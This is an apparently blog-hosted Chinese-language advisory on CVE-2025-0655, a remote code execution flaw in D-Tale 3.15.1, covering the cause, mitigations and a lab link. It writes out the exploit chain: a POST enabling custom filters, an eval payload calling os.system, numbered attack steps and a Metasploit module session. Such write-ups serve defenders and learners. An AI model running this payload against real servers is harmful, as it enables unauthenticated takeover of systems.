D-Tale远程代码执行漏洞CVE-2025-0655深度解析

本文详细分析了D-Tale数据可视化工具中的高危远程代码执行漏洞CVE-2025-0655,包括漏洞原理、利用步骤、Metasploit模块使用以及修复建议,帮助安全人员全面了解该漏洞的威胁和防护措施。

CVE-2025-0655 – 通过未受保护的自定义过滤器在D-Tale中实现远程代码执行

概述

CVE-2025-0655(现被标记为CVE-2024-55890的重复项)最初发现于D-Tale数据可视化工具中的一个关键远程代码执行(RCE)漏洞,特别影响版本3.15.1。该漏洞允许未经身份验证的攻击者通过启用全局设置并滥用暴露的API端点来执行任意系统命令。

  • CVE ID: CVE-2025-0655
  • 严重性: 严重
  • CVSS 分数: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • EPSS 分数: 85.91%
  • 发布日期: 2025年1月8日
  • 受影响版本: 3.15.1
  • 修复版本: 3.16.1

技术分析

漏洞存在于D-Tale后端处理全局配置设置的方式中。具体来说,enable_custom_filters标志(本意用于受控环境)可以通过攻击者精心构造的POST请求进行切换:

1
2
3
4
POST /dtale/global_state
{
  "enable_custom_filters": true
}

一旦此标志被启用,攻击者可以访问/dtale/test-filter端点,该端点处理用户提供的过滤器表达式。此端点在 unsafe 上下文中评估Python表达式,攻击者可以操纵此表达式注入系统级命令。

实现命令执行的示例负载:

1
2
3
{
  "data": "__import__('os').system('id')"
}

利用条件

  • 无需身份验证(在易受攻击的配置中)
  • D-Tale服务器必须暴露于外部访问
  • 特别针对版本3.15.1,其中未强制执行保护措施
  • enable_custom_filters未被服务器端策略锁定

易受攻击的代码片段

虽然完整的源代码上下文未公开,但漏洞涉及过滤器表达式的动态评估:

1
2
def test_filter(expr):
    eval(expr)  # 危险的eval()使用

enable_custom_filters设置为true时,此代码通过API路由暴露。

利用步骤

  1. 发送全局状态切换:通过POST请求到/dtale/global_state启用enable_custom_filters
  2. 构造负载:使用/dtale/test-filter端点发送包含嵌入系统命令的恶意负载。
  3. 实现RCE:负载被评估,在运行服务器的上下文中执行提供的代码。

使用Metasploit进行利用

Metasploit包含一个专用模块来利用此漏洞:

1
2
3
4
5
6
7
8
9
msf > use exploit/linux/http/dtale_rce_cve_2025_0655
msf exploit(dtale_rce_cve_2025_0655) > show targets
    ...targets...
msf exploit(dtale_rce_cve_2025_0655) > set TARGET <target-id>
msf exploit(dtale_rce_cve_2025_0655) > show options
    ...configure RHOSTS, RPORT, etc...
msf exploit(dtale_rce_cve_2025_0655) > set RHOSTS <ip>
msf exploit(dtale_rce_cve_2025_0655) > set RPORT <port>
msf exploit(dtale_rce_cve_2025_0655) > run

一旦成功,攻击者将获得具有Web服务器用户权限的远程shell。

缓解措施

  • 升级:更新到D-Tale版本3.16.1或更高版本,其中此漏洞已修复。
  • 限制网络暴露:确保D-Tale仅在受信任的内部网络上可访问。
  • 清理输入:避免在生产环境中启用危险设置,如enable_custom_filters
  • 使用WAF:部署Web应用程序防火墙以检测恶意API调用。

参考

点击下方访问我们学习库中的CVE-2025-0655实验。CVE实验可通过Learn Enterprise账户获取。

访问此实验

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计